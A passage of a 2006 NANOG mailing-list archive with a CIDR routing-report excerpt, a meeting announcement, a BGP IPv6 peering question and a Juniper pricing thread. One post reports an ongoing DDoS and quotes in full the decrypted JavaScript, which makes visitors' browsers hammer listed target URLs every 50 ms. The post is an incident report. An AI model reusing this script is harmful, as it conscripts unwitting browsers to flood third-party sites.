AS4763 TELSTRANZ-AS TelstraClear Ltd 158.0.0.0/13 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 163.142.0.0/16 AS2500 JPNIC-ASBLOCK-AP JPNIC 183.206.196.0/24 AS2188 FR-RENATER-ASTER Reseau Regional ASTER 192.30.93.0/24 AS17757 HPAUS-AP HP Australia 192.30.94.0/24 AS17757 HPAUS-AP HP Australia 192.40.105.0/24 AS5515 SONERA-GLOBAL-IP Sonera Solution Autonomous System 192.44.0.0/19 AS702 AS702 MCI EMEA - Commercial IP service provider in Europe 192.44.0.0/24 AS5501 FRAUNHOFER-CLUSTER-BW Fraunhofer Gesellschaft 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.72.0.0/16 AS4780 SEEDNET Digital United Inc. 192.72.0.0/18 AS4780 SEEDNET Digital United Inc. 192.72.192.0/18 AS4780 SEEDNET Digital United Inc. 192.81.183.0/24 AS719 ELISA-AS Elisa Oyj 192.81.184.0/24 AS719 ELISA-AS Elisa Oyj 192.88.99.0/24 AS559 SWITCH SWITCH, Swiss Education and Research Network 192.96.36.0/24 AS5713 AFRINIC African Network Information Center 192.96.37.0/24 AS10474 AFRINIC African Network Information Center 192.96.135.0/24 AS2018 TENET - 1 - The Uninet Project 192.96.136.0/23 AS2018 TENET - 1 - The Uninet Project 192.96.140.0/24 AS2018 TENET - 1 - The Uninet Project 192.96.143.0/24 AS2018 TENET - 1 - The Uninet Project 192.96.145.0/24 AS2018 TENET - 1 - The Uninet Project 192.96.177.0/24 AS6083 AFRINIC African Network Information Center 192.96.250.0/24 AS2018 TENET - 1 - The Uninet Project 192.107.104.0/24 AS6458 GUATEL 192.119.135.0/24 AS270 PSCNI-AS - National Aeronautics and Space Administration 192.122.212.0/24 AS209 ASN-QWEST - Qwest 192.124.252.0/22 AS680 DFN-IP DFN-IP service X-WiN 192.133.6.0/24 AS10282 EQUANT-CEEUR EQUANT AS for Central and Eastern Europe region 192.136.53.0/24 AS8346 SONATEL-AS Autonomous System 192.153.144.0/21 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 192.168.255.255/32 AS4637 REACH Reach Network Border AS 192.172.0.0/19 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 192.188.208.0/20 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 193.32.19.0/24 AS702 AS702 MCI EMEA - Commercial IP service provider in Europe 193.32.20.0/23 AS702 AS702 MCI EMEA - Commercial IP service provider in Europe 193.36.1.0/24 AS8220 COLT COLT Telecommunications 193.37.69.0/24 AS2856 BT-UK-AS BTnet UK Regional network 193.37.236.0/24 AS702 AS702 MCI EMEA - Commercial IP service provider in Europe 193.110.77.0/24 AS3356 LEVEL3 Level 3 Communications 193.110.78.0/24 AS3356 LEVEL3 Level 3 Communications 193.110.79.0/24 AS3356 LEVEL3 Level 3 Communications 194.31.227.0/24 AS21461 TRANSFAIRNET Transfair-net GmbH Krefeld 194.59.176.0/20 AS1273 CW Cable & Wireless 194.153.156.0/24 AS24865 KMITCHELL-AS Keith Mitchell's Network 194.246.72.0/23 AS8893 ARTFILES-AS Artfiles New Media GmbH 195.246.224.0/23 AS8938 ENERGIS-IP Energis Polska IP Network 198.23.26.0/24 AS4390 BELLATLANTIC-COM - Bell Atlantic, Inc. 198.54.82.0/24 AS2018 TENET - 1 - The Uninet Project 198.54.92.0/24 AS2018 TENET - 1 - The Uninet Project 198.54.222.0/24 AS2018 TENET - 1 - The Uninet Project 198.54.249.0/24 AS2018 TENET - 1 - The Uninet Project 198.54.250.0/24 AS2018 TENET - 1 - The Uninet Project 198.54.251.0/24 AS2018 TENET - 1 - The Uninet Project 198.97.72.0/21 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 198.97.80.0/20 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 198.97.96.0/19 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 198.97.240.0/20 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 198.101.4.0/22 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 198.136.32.0/20 AS19329 MCNET - Martin County Board of County Commissioners 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.163.155.0/24 AS684 MTSAL-ASN - MTS Allstream Inc. 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.167.163.0/24 AS15290 ALLST-15290 - Allstream Corp. Corporation Allstream 198.168.0.0/16 AS701 ALTERNET-AS - UUNET Technologies, Inc. 198.169.0.0/16 AS803 SASKTEL - SaskTel 198.232.133.0/24 AS23075 SKOTOS-AS - Skotos Tech, Inc 199.9.128.0/17 AS668 ASN-ASNET-NET-AS - Defense Research and Engineering Network 199.10.0.0/16 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.60.0.0/20 AS271 BCNET-AS - University of British Columbia 199.114.0.0/21 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.128.0/18 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.130.0/24 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.132.0/24 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.134.0/24 AS3541 ITSDN-U4 - DISA/UNRRA 199.114.136.0/24 AS27044 DDN-ASNBLK1 - DoD Network Information Center 199.114.138.0/24 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DISA/UNRRA 199.114.142.0/24 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.144.0/24 AS27064 DDN-ASNBLK1 - DoD Network Information Center 199.114.148.0/24 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.150.0/24 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.114.152.0/24 AS27033 DDN-ASNBLK1 - DoD Network Information Center 199.114.153.0/24 AS27034 DDN-ASNBLK1 - DoD Network Information Center 199.114.154.0/24 AS3542 ITSDN-U5 - DISA/UNRRA 199.114.160.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.121.0.0/16 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.123.0.0/18 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.123.16.0/20 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.123.80.0/21 AS721 DLA-ASNBLOCK-AS - DoD Network Information Center 199.189.32.0/19 AS7332 IQUEST-AS - IQuest Internet 199.202.0.0/16 AS701 ALTERNET-AS - UUNET Technologies, Inc. 199.246.116.0/24 AS813 UUNET-AS1 - UUNET Technologies, Inc. 202.45.159.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.58.113.0/24 AS19161 INNOCOM-TELECOM - INNOCOM TELECOM 202.86.252.0/22 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.90.33.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.40.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.41.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.42.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.43.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.44.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.93.0.0/20 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 202.131.64.0/19 AS9381 NEWTT-IP-AP Wharf T&T Ltd. 202.148.32.0/20 AS17495 GATEWAY-AP BROADBAND WIRELESSS INTERNET SERVICE PROVIDER 203.13.171.0/24 AS1221 ASN-TELSTRA Telstra Pty Ltd 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.89.134.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.139.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 203.89.143.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.144.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.147.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.148.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.149.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.150.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.151.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.153.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.154.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.158.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.89.159.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 203.99.142.0/24 AS9826 ILINK-HK-AP iLink.net Ltd 203.111.192.0/20 AS7473 SINGTEL-AS-AP Singapore Telecom 203.210.69.0/24 AS17536 PRODIGY-AS-AP Prodidgy Telecommunications 204.29.185.0/24 AS7268 ATHENET - Athenet Internet Services 204.48.118.0/23 AS29912 CITIZENS-PROPERTY-INSURANCE-CORPORATION - Citizens Property Insurance Corporation 204.48.119.0/24 AS29912 CITIZENS-PROPERTY-INSURANCE-CORPORATION - Citizens Property Insurance Corporation 204.154.125.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.126.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.127.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 205.150.0.0/15 AS701 ALTERNET-AS - UUNET Technologies, Inc. 206.128.104.0/21 AS11709 VIC - VIRTUAL INTERACTIVE CENTER 206.167.57.0/24 AS376 RISQ-AS - Reseau Interordinateurs Scientique Quebecois (RISQ) 206.191.64.0/18 AS15290 ALLST-15290 - Allstream Corp. Corporation Allstream 206.191.96.0/19 AS15290 ALLST-15290 - Allstream Corp. Corporation Allstream 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc 208.65.252.0/24 AS36383 TRABERTECHNOLOGIES-NETWORK - Traber Technologies Inc. 208.65.253.0/24 AS36383 TRABERTECHNOLOGIES-NETWORK - Traber Technologies Inc. 208.65.254.0/24 AS36383 TRABERTECHNOLOGIES-NETWORK - Traber Technologies Inc. 208.65.255.0/24 AS36383 TRABERTECHNOLOGIES-NETWORK - Traber Technologies Inc. 208.66.0.0/24 AS13826 MILLENNIUM-DATA-SYSTEMS - MILLENNIUM DATA SYSTEMS INC. 208.66.8.0/21 AS32890 BTC-AS-1 - Beehive Telephone Company, Inc. 208.106.128.0/18 AS14992 CRYSTALTECH - CrystalTech Web Hosting Inc. 209.40.192.0/21 AS6487 CyberNet de Guatemala S.A. 209.40.200.0/21 AS6487 CyberNet de Guatemala S.A. 209.40.208.0/21 AS6487 CyberNet de Guatemala S.A. 209.40.216.0/21 AS6487 CyberNet de Guatemala S.A. 209.205.69.0/24 AS21578 Universidad autonoma de Bucaramanga 209.205.70.0/24 AS21578 Universidad autonoma de Bucaramanga 209.205.81.0/24 AS15066 SkyNet de Colombia S.A. 209.205.82.0/24 AS15066 SkyNet de Colombia S.A. 209.205.84.0/24 AS15066 SkyNet de Colombia S.A. 209.234.0.0/18 AS3845 STATE-NET - CS&W, Inc. 216.37.110.0/23 AS4264 CERNET-ASN-BLOCK - California Education and Research Federation Network 216.71.224.0/20 AS23527 COTELLIGENCE - Cotelligence, Inc. 216.96.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.201.72.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.73.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.74.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.75.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.76.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.77.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.78.0/24 AS14709 Telefonica Moviles Panama S.A. 216.201.79.0/24 AS14709 Telefonica Moviles Panama S.A. 216.228.64.0/21 AS6295 WHIDBEY1 - Whidbey Internet Services 216.228.224.0/20 AS13674 VRIS-AS-BLOCK-13661-13675 - Verizon Internet Services Inc. 216.240.240.0/20 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.242.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog(a)merit.edu eof-list(a)ripe.net apops(a)apops.net routing-wg(a)ripe.net afnog(a)afnog.org

1 0

Save the dates
by Susan Harris 24 Mar '06

24 Mar '06

Hi everyone - you'll be glad to hear that our likely meeting dates for June are Sunday-Wednesday, June 4-7. We'll follow the new meeting format that was so successful in Dallas, and the location will be announced within the next 10 days or so. This fall we'll celebrate our fifth joint meeting with ARIN in St. Louis - many thanks to Washington University in St. Louis and Savvis for making this possible. NANOG 38 will follow our "old" format, with NANOG meeting Sunday-Tuesday, Oct. 8-10, and ARIN Wednesday-Friday, Oct. 11-13. Please plan on attending both meetings - it's a great way to get involved with the folks who influence your life so hugely by assigning your IPs and ASNs (www.arin.net) See you soon!

1 0

Ongoing DDoS helped by non responsive abuse desks
by Martin Lathoud 23 Mar '06

23 Mar '06

Hi, One of our web servers got hammered by ~5K req/s for hours from browsers with the following referer: http://www.freewebs.com/ihatespammers/nospam.html Both freewebs.com and their network provider Cogent has been contacted without any visible result, even if the script is very effective (no filtering slows it down but redirecting to an https with an invalid cert eventually messes the attackers' browser). Given that the source is still up (and has been updated since yesterday), I wonder what one can expect by contacting each concerned domain host. The decrypted jscript is: var target=new Array(); target[0]="http://weerona.com/ph/order.php?%rand%" target[1]="http://fabutons.info/aw/001/?%rand%" target[2]="http://movi96.dayaugusta.com/aspx/search.asp?t=%rand%" target[3]="http://www.fakeidonline.com/store.php?%rand%" target[4]="http://ccebak.bestti.info/p/?%rand%" target[5]="http://www.zpgo.net/pweb7/texpo/?%rand%" target[6]="http://www.tex-win.com/productshow.asp?id=1808&%rand%=%rand%" target[7]="http://7eklp9g3.tagsully.net/p/?%rand%&zz=lowcost" //target[5]="http://zzizuyxxqquzjphyn.logomarz.com/counter.php?%rand%" //target[6]="http://svbcrwevktdbxf.logomarz.com/counter.php?%rand%" //target[7]="http://fqnbywsqfghz.logomarz.com/counter.php?%rand%" //target[8]="http://fvguwwnemlpgkd.logomarz.com/counter.php?%rand%" //target[9]="http://www.logodentity.com/ordernow.php?%rand%" //target[10]="http://www.clearlogo.com/ordernow.php?plan=1&%rand%=%rand%" //target[11]="http://www.heartysouvenirs.info/?page=shoppingcart&%rand%=%rand%" //target[9]="http://www.webpromotionnow.com/?%rand%" // Do not edit below this line var arrcount = 0; var chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; function doddos(){ var randomstring = ''; for (var i=0; i<8; i++) { var rnum = Math.floor(Math.random() * chars.length); randomstring += chars.substring(rnum,rnum+1); } if (arrcount > (target.length - 1)){ arrcount = 0; } var dimg = new Image; dimg.src=target[arrcount].replace(/\%rand\%/g,randomstring); arrcount++; setTimeout("doddos()",50); } setTimeout("doddos()",50);

3 3

Question on BGP Link-Local peering...
by Aaron Daubman 23 Mar '06

23 Mar '06

Greetings, In trying to follow the guidance in draft-kato-bgp-ipv6-link-local-00.txt while setting up a network using BGP link-local peering, I came up with a few questions I could not answer on my own. First, some network details: - eBGP sessions will be established across p2p links via link local address + each interface on the p2p link will ONLY be addressed with link-local addresses + each router on the ends of the link will have a single global unicast address tied to a loopback interface. Part of the draft (http://www.join.uni-muenster.de/Dokumente/drafts/draft-kato-bgp-ipv6-link-l…) states: """ A) BGP-4 speakers should ignore the IPv6 global address specified in the next hop field in a MP_REACH_NLRI attribute learned over a link-local E-BGP session, provided if it does not match with one of the IPv6 global prefixes assigned to the link. (It is possible to assign an IPv6 global prefix to an IX and have a link-local E-BGP session.) """ and """ C) BGP-4 implementations should be able to configure, at least per session basis, which IPv6 global address is to be filled in the next hop field of MP_REACH_NLRI attributes. In the case of link-local E- BGP sessions, arbitrary IPv6 address can be specified while in a typical case an IPv6 global address attached to the node (other interface or loopback) will be specified. """" In the network described above, peering will be configured using the link-local addresses, and the next-hop will be advertised with both the link-local address as well as the loopback global-unicast address (via a route-map). Here are the questions that arose out of this configuration: 1) What does "BGP-4 speakers should ignore the IPv6 global address specified in the next hop field in a MP_REACH_NLRI attribute learned over a link-local E-BGP session" mean from A referenced above. Would not the global address still need to be used for route propagation, rather than "ignored"? 2) Stemming from above, if a loopback global address is used as mentioned in C above ("in a typical case an IPv6 global address attached to the node (other interface or loopback) will be specified"), how will nodes in the attached network receiving the advertisement know how to reach this not-attached next-hop? I seem to be missing some magic that would allow this global address to be reachable and re-advertisable to iBGP peers as the upstream next-hop (since link-local will be useful only to the direct peer). - Is the global address ignores as referenced above and such peers must be configured to next-hop-self to their iBGP neighbors? - Does each neighbor then need a static route installed to the global loopback via the link-local address? - Is there some other behind-the-scenes magic that I'm missing that informs peer routers how to reach the global loopback address? Thanks! ~Aaron

1 0

Juniper Support pricing.
by Andy Davidson 23 Mar '06

23 Mar '06

Hi, Has anyone else seen Juniper support pricing take one hell of a hike in the past twelve months ? We've been quoted a rise of 141% on the costs of supporting our ISG2000 units, and a 114% rise on the costs of supporting our Redline^WJuniper E|X devices. I've been asked to provide a case to evaluate the costs of binning the existing kit and migrating the firewalls to PIX... which I'd prefer to avoid if at all possible, as it is a bad time to take on the extra workload. We have been a model (I hope!) customer in that we've only had one post-sales/operational trouble-ticket case open in the past twelve months for our entire family of Juniper products ! Just wondering whether it's something you guys have seen too. -a

1 0